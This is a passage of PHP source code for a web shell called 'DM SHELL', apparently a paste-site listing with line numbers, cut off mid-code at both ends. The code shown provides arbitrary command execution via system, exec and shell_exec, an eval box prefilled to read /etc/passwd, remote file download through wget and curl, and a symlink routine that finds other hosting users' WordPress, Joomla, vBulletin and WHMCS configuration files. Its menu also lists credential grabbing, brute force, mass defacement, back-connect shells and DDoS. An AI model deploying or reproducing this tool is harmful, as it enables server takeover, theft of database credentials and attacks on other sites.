src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABp0RVh0U29mdHdhcmUAUGFpbnQuTkVUIHYzLjUuMTAw9HKhAAACkUlEQVQ4T8WT2UvUURzFz2NRT5pab9ZDYZNMLjNq6rg1Fqhl5cw8qA+2kJmBgxKUhVpW4y6FZblkaRROpkQLITKG1ERhC5JMuaVmzuQWBD3e27nN0D/QQz/48P1+7znne+/LD/jvn14XtUYXqU+O0kebY2NiLfFxBkuiIcmSnJRiMe5MtexK3W02phjNSYnJZkN8gikmeoeJGRMzRr1OvxZbQzTBZCBUE+oJD4vwcJEnNibOY4hL8HCRJzEh6U/PMzc1d/j2CPc2TaibmSFNiGYT7hT7nbyU579y4dA6WXUsQNacCJR1RYGyoThINpZs8LFe1luD/mi2/ABZedBf2vL8fnSV+JdhohZPJ+sgv16H9NyGXOyGXH4AudLLetfLSh8rZ6Upj/JOMTNRAwfGa9A3Wetb0OlbQPPSffZdXpbZ/11Aj1qgMuPVeIYxG7rGbZAzTZDzHZDfeeOindxjf5M3tkMuMLTEswVqyjNzleEqSGZ74KrEZVcFn1QPMcfN7g4IPlPMN0N8a/IyR9xthJryTDVAuM5Bus6jBaPlKB85xW0XIaYb+bxrkLNXIL5UQxJVxRRfOM0LZnmz8iivyoyWwYaRUhS8LYL4WArxuRJiooq1AuLTGR9nOZd5z5Q2Ro/yqszIaVgxbEXmy8OQbwoh3pdAvrNCvD4KMXwccriAVVFIPR/iQzGhR3lfMMOsCY4chPVb8JPIwVzI5zmQA2aI/
  557. izO7AezOVNzZEMM5VGnR3nJL0cuInErHcH2DHTb0+DszcSrh1lwPjb7sMD5hKj5kQlOpfXRY0+HszsDPZ0Z2IjcMKyuTsXm5jRob+yBtnUftG0HSBa07QqTt7bu92ote6FtToeWmS1HdFj1zz/zb9ZqmlZ866Y6AAAAAElFTkSuQmCC'/> [ $folder ]</b></a>
  558. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  559. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  560. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  561. </form>
  562.  
  563. <td style=\"text-align:center;\">DIR</td>
  564. <td style=\"text-align:center;\">".$owner."</td>
  565. <td style=\"text-align:center;\"><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
  566. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  567. <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  568. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\"/>
  569. <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
  570. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
  571. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td>
  572. <td style=\"text-align:center;\"><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">[R]</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">[X]</a></td></tr>";
  573. } }
  574. foreach($fname as $file) {
  575. $full = $pwd.$file;
  576. if(!$win && $posix) {
  577. $name=@posix_getpwuid(@fileowner($file));
  578. $group=@posix_getgrgid(@filegroup($file));
  579. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  580.  
  581. } else {
  582. $owner = $user;
  583. } $buff .= "<tr>
  584. <td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
  585. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  586. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  587. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\"/>
  588. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\"/>
  589. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\"/></form></td>
  590. <td style=\"text-align:center;\">".ukuran($full)."</td>
  591. <td style=\"text-align:center;\">".$owner."</td>
  592. <td style=\"text-align:center;\"><a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
  593. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  594. <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  595. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
  596. <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
  597. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></td>
  598. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  599. <td style=\"text-align:center;\"><a href=\"?y=$pwd&amp;edit=$full\">[E] </a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">[R] </a> | <a href=\"?y=$pwd&amp;delete=$full\">[X] </a> | <a href=\"?y=$pwd&amp;dl=$full\">[D] </a> | (<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  600. } $buff .= "</table>";
  601. return $buff;
  602. } function ukuran($file) {
  603. if($size = @filesize($file)) {
  604. if($size <= 1024) return $size; else {
  605. if($size <= 1024*1024) {
  606. $size = @round($size / 1024,2);
  607. ;
  608. return "$size kb";
  609. } else {
  610. $size = @round($size / 1024 / 1024,2);
  611. return "$size mb";
  612. } } }
  613. else return "???";
  614. }
  615.  
  616. function swd($p){
  617. $ps = explode(DIRECTORY_SEPARATOR,$p);
  618. $pu = "";
  619. for($i = 0 ; $i < sizeof($ps)-1 ; $i++){
  620. $pz = "";
  621. for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR;
  622. $pu .= "<a href=\"?d=".$pz."\">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>";
  623. }
  624. return trim($pu);
  625. }
  626. function cp($p){
  627. if(is_dir($p)){
  628. $x = DIRECTORY_SEPARATOR;
  629. while(substr($p,-1) == $x) $p = rtrim($p,$x);
  630. return $p.$x;
  631. }
  632. return $p;
  633. }
  634.  
  635.  
  636. function exe($cmd) {
  637. if(function_exists('system')) {
  638. @ob_start();
  639. @system($cmd);
  640. $buff = @ob_get_contents();
  641. @ob_end_clean();
  642. return $buff;
  643. } elseif(function_exists('exec')) {
  644. @exec($cmd,$results);
  645. $buff = "";
  646. foreach($results as $result) {
  647. $buff .= $result;
  648. } return
  649. $buff;
  650. } elseif(function_exists('passthru')) {
  651. @ob_start();
  652. @passthru($cmd);
  653. $buff = @ob_get_contents();
  654. @ob_end_clean();
  655. return $buff;
  656. } elseif(function_exists('shell_exec')) {
  657. $buff = @shell_exec($cmd);
  658. return $buff;
  659. }
  660. }
  661. function
  662. tulis($file,$text) {
  663. $textz = gzinflate(base64_decode($text));
  664. if($filez = @fopen($file,"w")) {
  665. @fputs($filez,$textz);
  666. @fclose($file);
  667. } }
  668. function
  669. ambil($link,$file) {
  670. if($fp = @fopen($link,"r")) { while(!feof($fp)) {
  671. $cont.= @fread($fp,1024);
  672. } @
  673. fclose($fp);
  674. $fp2 = @fopen($file,"w");
  675. @fwrite($fp2,$cont);
  676. @fclose($fp2);
  677. } }
  678. function
  679. which($pr) {
  680. $path = exe("which $pr");
  681. if(!empty($path)) {
  682. return trim($path);
  683. } else {
  684. return trim($pr);
  685. } }
  686. function
  687. download($cmd,$url) {
  688. $namafile = basename($url);
  689. switch($cmd) {
  690. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);
  691. break;
  692. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);
  693. break;
  694. case 'wfread' : ambil($wurl,$namafile);
  695. break;
  696. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);
  697. break;
  698. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);
  699. break;
  700. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);
  701. break;
  702. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);
  703. break;
  704. default: break;
  705. } return
  706. $namafile;
  707. } function
  708. get_perms($file) {
  709. if($mode=@fileperms($file)) {
  710. $perms='';
  711. $perms .= ($mode & 00400) ? 'r' : '-';
  712. $perms .= ($mode & 00200) ? 'w' : '-';
  713. $perms .= ($mode & 00100) ? 'x' : '-';
  714. $perms .= ($mode & 00040) ? 'r' : '-';
  715. $perms .= ($mode & 00020) ? 'w' : '-';
  716. $perms .= ($mode & 00010) ? 'x' : '-';
  717. $perms .= ($mode & 00004) ? 'r' : '-';
  718. $perms .= ($mode & 00002) ? 'w' : '-';
  719. $perms .= ($mode & 00001) ? 'x' : '-';
  720. return $perms;
  721. } else return "??????????";
  722. } function
  723. clearspace($text) {
  724. return str_replace(" ","_",$text);
  725. }
  726. ?>
  727.  
  728. <html><head><title>-:[ DM SHELL ]:-</title>
  729. <link rel="SHORTCUT ICON" href="<?php echo $_SERVER['PHP_SELF']."?favicon"; ?>" />
  730. <script language='javascript'>
  731. if (document.all||document.getElementById){
  732. var thetitle=document.title
  733. document.title=''
  734. }
  735. var data="DM4ST3RP1EC3 SH3LL";
  736. var done=1;
  737. function statusIn(text){
  738. decrypt(text,22,22);
  739. }
  740. function statusOut(){
  741. self.status='';
  742. done=1;
  743. }
  744. function decrypt(text, max, delay){
  745. if (done){
  746. done = 0;
  747. rantit(text, max, delay, 0, max);
  748. }
  749. }
  750. function rantit(text, runs_left, delay, charvar, max){
  751. if (!done){
  752. runs_left = runs_left - 1;
  753. var status = text.substring(0,charvar);
  754. for(var current_char = charvar; current_char < text.length; current_char++){
  755. status += data.charAt(Math.round(Math.random()*data.length));
  756. }
  757. document.title = status;
  758. var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
  759. var new_char = charvar + 1;
  760. var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
  761. if(runs_left > 0){
  762. setTimeout(rerun, delay);
  763. }
  764. else{
  765. if (charvar < text.length){
  766. setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
  767. }
  768. else
  769. {
  770. done = 1;
  771. }
  772. }
  773. }
  774. }
  775. if (document.all||document.getElementById)
  776. statusIn(thetitle)
  777. </script>
  778. <script type="text/javascript"> function tukar(lama,baru){ document.getElementById(lama).style.display = 'none'; document.getElementById(baru).style.display = 'block'; } </script>
  779. <style type="text/css">
  780.  
  781. html { background:url(http://188.165.69.246/background.gif) black; }
  782.  
  783. a { text-decoration:none; }
  784.  
  785. a:hover{ border-bottom:1px
  786. solid #4C83AF; }
  787.  
  788. *{ font-size:11px;
  789. font-family:Tahoma,Verdana,Arial;
  790. color:#FFFFFF; }
  791. #menu{ background:#8B0000;
  792. margin:8px 2px 4px 2px; }
  793.  
  794. #menu a{ padding:4px 18px;
  795. margin:0;
  796. background:#222222;
  797. text-decoration:none;
  798. letter-spacing:2px; }
  799.  
  800. #menu a:hover{ background:#A9A9A9;
  801. border-bottom:1px solid #333333;
  802. border-top:1px solid #333333; }
  803.  
  804. .tabnet{ margin:15px auto 0 auto;
  805. border: 1px solid #333333; }
  806.  
  807. .main { width:90%;
  808. background:#000000;
  809. background:url(http://188.165.69.246/background.gif) black;
  810. margin:30px auto 10px;
  811. padding:10px 10px 5px 10px;
  812. border-radius:5px;
  813. -moz-border-radius:5px;
  814. -moz-box-shadow:0px 0px 10px #FFFFFF;
  815. }
  816.  
  817. .gaya { color: #00FF00; }
  818.  
  819. .gaya a { color: #4C83AF; }
  820.  
  821. .inputz{ background:#111111;
  822. border:0;
  823. padding:2px;
  824. border-bottom:1px solid #A9A9A9;
  825. border-top:1px solid #A9A9A9; }
  826. .inputzbut{ background:#111111;
  827. color:#00FF00;
  828. margin:0 4px;
  829. border:1px solid #A9A9A9;
  830. cursor:pointer;}
  831.  
  832. .inputz:hover, .inputzbut:hover{ border-bottom:1px
  833. solid #00FF00;
  834. border-top:1px solid #00FF00; }
  835.  
  836. .output { margin:auto;
  837. border:1px solid #00FF00;
  838. width:100%;
  839. height:400px;
  840. background:#000000;
  841. padding:0 2px; }
  842.  
  843. .cmdbox{ width:100%; }
  844.  
  845. .head_info{ padding: 0 4px; }
  846.  
  847. .b1{ font-size:20px;
  848. padding:0;
  849. color:#444444; }
  850.  
  851. .b2{ font-size:20px;
  852. padding:0;
  853. color: #333333; }
  854.  
  855. .b3{ font-size:13px;
  856. padding:0;
  857. color: #A9A9A9; }
  858.  
  859. .b4{ font-size:13px;
  860. padding:0;
  861. color: #FF0000; }
  862.  
  863. .b5{ font-size:13px;
  864. padding:0;
  865. color: #FFFFFF; }
  866.  
  867. .b6{ font-size:13px;
  868. padding:0;
  869. color: #00FF00; }
  870.  
  871.  
  872.  
  873. .b_tbl{ text-align:center;
  874. margin:0 4px 0 0;
  875. padding:0 4px 0 0;
  876. border-right:1px solid #333333; }
  877.  
  878. .phpinfo table{ width:100%;
  879. padding:0 0 0 0; }
  880.  
  881. .phpinfo td{ background:#111111;
  882. color:#cccccc;
  883. padding:6px 8px;; }
  884.  
  885. .phpinfo th, th{ background:#191919;
  886. border-bottom:1px solid #333333;
  887. font-weight:normal; }
  888.  
  889. .phpinfo h2, .phpinfo h2 a{ text-align:center;
  890. font-size:16px;
  891. padding:0;
  892. margin:30px 0 0 0;
  893. background:#222222;
  894. padding:4px 0; }
  895.  
  896. .explore{ width:100%; }
  897.  
  898. .explore a { text-decoration:none; }
  899. .explore td{ border-bottom:1px solid #A9A9A9;
  900. padding:0 8px;
  901. line-height:10px; }
  902.  
  903. .explore th{ padding:3px 8px;
  904. font-weight:normal; }
  905. .explore th:hover , .phpinfo th:hover{ border-bottom:1px solid #00FF00; }
  906.  
  907. .explore tr:hover{ background:#A9A9A9;
  908. cursor:pointer; }
  909.  
  910. .viewfile{ background:#EDECEB;
  911. color:#000000;
  912. margin:4px 2px;
  913. padding:8px; }
  914.  
  915. .sembunyi{ display:none;
  916. padding:0;margin:0;}
  917.  
  918. .info{ background:#111111;
  919. width:99%;
  920. padding:5px;
  921. margin:10px auto 5px;
  922. text-align:center;
  923. font-size:13px;}
  924.  
  925. .info a{ font-size:14px;}
  926. .info span{ font-size:14px;}
  927. .jaya{ margin:5px; text-align:right; }
  928. </style></head>
  929. <body onLoad="document.getElementById('cmd').focus();">
  930.  
  931. <div class="main"> <!-- head info start here --><div class="head_info">
  932. <table><tr>
  933. <td><table class="b_tbl"><tr>
  934. <td><a href="?"><img src="http://sphotos-h.ak.fbcdn.net/hphotos-ak-ash3/546241_279982115453644_625934482_n.jpg" width="150" height="130"></td></tr>
  935. <td><a href="?"><span class="b1">_DM<span class="b2"> SH3LL_</span></span></a></td></tr>
  936. </tr>
  937. </table></td>
  938.  
  939. <td><?php echo $buff; ?></td> </tr></table> </div>
  940.  
  941. <!-- head info end here --> <!-- menu start -->
  942. <div id="menu">
  943. <table><tr>
  944. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>"><b>_EXPLORE_</b></a></td>
  945. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=shell"><b>_SHELL_</b></a></td>
  946. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql"><b>_MYSQL_</b></a></td>
  947. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=php"><b>_EVAL_</b></a></td>
  948. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=upload"><b>_UPLOAD_</b></a></td>
  949. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=unzip"><b>_UNZIP_</b></a></td>
  950. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=email"><b>_EMAIL_</b></a></td>
  951. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=whmcs"><b>_WHMCS_</b></a></td>
  952. </tr></table>
  953. <table><tr>
  954. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass"><b>_BYPASS_</b></a></td>
  955. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=jumping"><b>_JUMPING_</b></a></td>
  956. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink"><b>_SYMLINK_</b></a></td>
  957. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=symlink2"><b>_SYMLINK II_</b></a></td>
  958. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=config"><b>_CONFIG KILLER_</b></a></td>
  959. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=grab"><b>_CONFIG GRABBER_</b></a></td>
  960. </tr></table>
  961. <table><tr>
  962. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=wp"><b>_WP PASS_</b></a></td>
  963. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=wpforce"><b>_WP FORCE_</b></a></td>
  964. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=joomla"><b>_JOOMLA PASS_</b></a></td>
  965. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=joomforce"><b>_JOOMLA FORCE_</b></a></td>
  966. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=joomindex"><b>_JOOMLA_</b></a></td>
  967. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=vb"><b>_V BULLETIN_</b></a></td>
  968.  
  969. </tr></table>
  970. <table><tr>
  971. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cgi2012"><b>_TELNET_</b></a></td>
  972. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=hash"><b>_ENCRYPT HASH_</b></a></td>
  973. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=code"><b>_TOOLS_</b></a></td>
  974. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cehash"><b>_HASH ANALIZER_</b></a></td>
  975. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=sec"><b>_SECURITY_</b></a></td>
  976. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=sec2"><b>_SECURITY II_</b></a></td>
  977. </tr></table>
  978. <table><tr>
  979. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cpanel"><b>_CPANEL_</b></a></td>
  980. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=crack"><b>_CRACKER_</b></a></td>
  981. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=calias"><b>_CMD ALIAS_</b></a></td>
  982. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=proc"><b>_PROCESS_</b></a></td>
  983. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=mc"><b>_METASPLOIT_</b></a></td>
  984. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=open_base"><b>_BYPASS BASEDIR_</b></a></td>
  985. </tr></table>
  986. <table><tr>
  987. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=inject"><b>_CODE INJECT_</b></a></td>
  988. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=md"><b>_MASS DEFACE_</b></a></td>
  989. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=bind"><b>_BIND CONNECT_</b></a></td>
  990. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=back"><b>_BACK CONNECT_</b></a></td>
  991. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cf"><b>_CLOUDFLARE_</b></a></td>
  992. </tr></table>
  993. <table><tr>
  994. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=domain"><b>_DOMAINS_</b></a></td>
  995. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=403"><b>_FORBIDDEN_</b></a></td>
  996. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&AMP;x=adm"><b>_ADMIN FINDER_</b></a></td>
  997. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&amp;x=bruteforce"><b>_BRUTE FORCE_</b></a></td>
  998. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=sscan"><b>_SHELL SCAN_</b></a></td>
  999. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=ddos"><b>_DDOS_</b></a></td>
  1000. </tr></table>
  1001. <table><tr>
  1002. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=mysqlbackup"><b>_BACKUP SQL_</b></a></td>
  1003. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=string"><b>_STRING_</b></a></td>
  1004. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=port"><b>_PORT SCANNER_</b></a></td>
  1005. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=mailex"><b>_MAIL EXTRACTOR_</b></a></td>
  1006. <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=zone"><b>_ZONE H_</b></a></td>
  1007. </tr></table>
  1008. </div> <!-- menu end -->
  1009.  
  1010.  
  1011. <?php if(isset($_GET['x']) && ($_GET['x'] == 'php')) { ?>
  1012. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  1013.  
  1014. <table class="cmdbox">
  1015. <tr><td> <textarea class="output" name="cmd" id="cmd">
  1016. <?php if(isset($_POST['submitcmd'])) {
  1017. echo eval(magicboom($_POST['cmd']));
  1018. } else echo "echo file_get_contents('/etc/passwd');"; ?>
  1019. </textarea>
  1020. <tr><td><input style="width:19%;" class="inputzbut" type="submit" value=">>" name="submitcmd" /></td></tr>
  1021. </form></table></form>
  1022.  
  1023. <?php }
  1024. elseif(isset($_GET['x']) && ($_GET['x'] == 'sym'))
  1025. {
  1026. $pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  1027. $u=explode("/",$pageURL );
  1028. $pageURL =str_replace($u[count($u)-1],"",$pageURL );
  1029. $d00m = @file("/etc/named.conf");
  1030.  
  1031. if(!$d00m)
  1032. {
  1033. die ("<br/><br/><center><font size='5' color='red'>[+] can't read /etc/named.conf [+]</font></center>");
  1034. }
  1035. else
  1036.  
  1037. {
  1038. echo "<br/><br/><table class='explore'>
  1039. <td style=\"text-align:center;\"><b>_DOMAINS_</b></td>
  1040. <td style=\"text-align:center;\"><b>_USERS_</b></td>
  1041. <td style=\"text-align:center;\"><b>_SYMLINK_</b></td>
  1042. <td style=\"text-align:center;\"><b>_CMS_<b></td>";
  1043. foreach($d00m as $dom){
  1044. if(eregi("zone",$dom)){
  1045. preg_match_all('#zone "(.*)"#', $dom, $domsws);
  1046. flush();
  1047. if(strlen(trim($domsws[1][0])) > 2){
  1048. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  1049.  
  1050. $wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
  1051. $wpp=@get_headers($wpl);
  1052. $wp=$wpp[0];
  1053.  
  1054. $wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
  1055. $wpp2=@get_headers($wp2);
  1056. $wp12=$wpp2[0];
  1057.  
  1058. $jo1=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
  1059. $joo=@get_headers($jo1);
  1060. $jo=$joo[0];
  1061.  
  1062. $jo2=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
  1063. $joo2=@get_headers($jo2);
  1064. $jo12=$joo2[0];
  1065.  
  1066. $vb1=$pageURL."/sym/root/home/".$user['name']."/public_html/includes/config.php";
  1067. $vbb=@get_headers($vb1);
  1068. $vb=$vbb[0];
  1069.  
  1070. $vb2=$pageURL."/sym/root/home/".$user['name']."/public_html/vb/includes/config.php";
  1071. $vbb2=@get_headers($vb2);
  1072. $vb12=$vbb2[0];
  1073.  
  1074. $vb3=$pageURL."/sym/root/home/".$user['name']."/public_html/forum/includes/config.php";
  1075. $vbb3=@get_headers($vb3);
  1076. $vb13=$vbb3[0];
  1077.  
  1078. $wh1=$pageURL."/sym/root/home/".$user['name']."public_html/clients/configuration.php";
  1079. $whh2=@get_headers($wh1);
  1080. $wh=$whh2[0];
  1081.  
  1082. $wh2=$pageURL."/sym/root/home/".$user['name']."/public_html/support/configuration.php";
  1083. $whh2=@get_headers($wh2);
  1084. $wh12=$whh2[0];
  1085.  
  1086. $wh3=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
  1087. $whh3=@get_headers($wh3);
  1088. $wh13=$whh3[0];
  1089.  
  1090. $wh5=$pageURL."/sym/root/home/".$user['name']."/public_html/submitticket.php";
  1091. $whh5=@get_headers($wh5);
  1092. $wh15=$whh5[0];
  1093.  
  1094. $wh4=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
  1095. $whh4=@get_headers($wh4);
  1096. $wh14=$whh4[0];
  1097.  
  1098. $pos = strpos($wp, "200");
  1099. $config="&nbsp;";
  1100.  
  1101. if (strpos($wp, "200") == true )
  1102. {
  1103. $config="<a href='".$wpl."' target='_blank'>Wordpress</a>";
  1104. }
  1105. elseif (strpos($wp12, "200") == true)
  1106. {
  1107. $config="<a href='".$wp2."' target='_blank'>Wordpress</a>";
  1108. }
  1109. elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true )
  1110. {
  1111. $config=" <a href='".$wh5."' target='_blank'>WHMCS</a>";
  1112. }
  1113. elseif (strpos($wh12, "200") == true)
  1114. {
  1115. $config =" <a href='".$wh2."' target='_blank'>WHMCS</a>";
  1116. }
  1117. elseif (strpos($wh13, "200") == true)
  1118. {
  1119. $config =" <a href='".$wh3."' target='_blank'>WHMCS</a>";
  1120. }
  1121. elseif (strpos($jo, "200") == true)
  1122. {
  1123. $config=" <a href='".$jo1."' target='_blank'>Joomla</a>";
  1124. }
  1125. elseif (strpos($jo12, "200") == true)
  1126. {
  1127. $config=" <a href='".$jo2."' target='_blank'>Joomla</a>";
  1128. }
  1129. elseif (strpos($vb, "200") == true)
  1130. {
  1131. $config=" <a href='".$vb1."' target='_blank'>vBulletin</a>";
  1132. }
  1133. elseif (strpos($vb12, "200") == true)
  1134. {
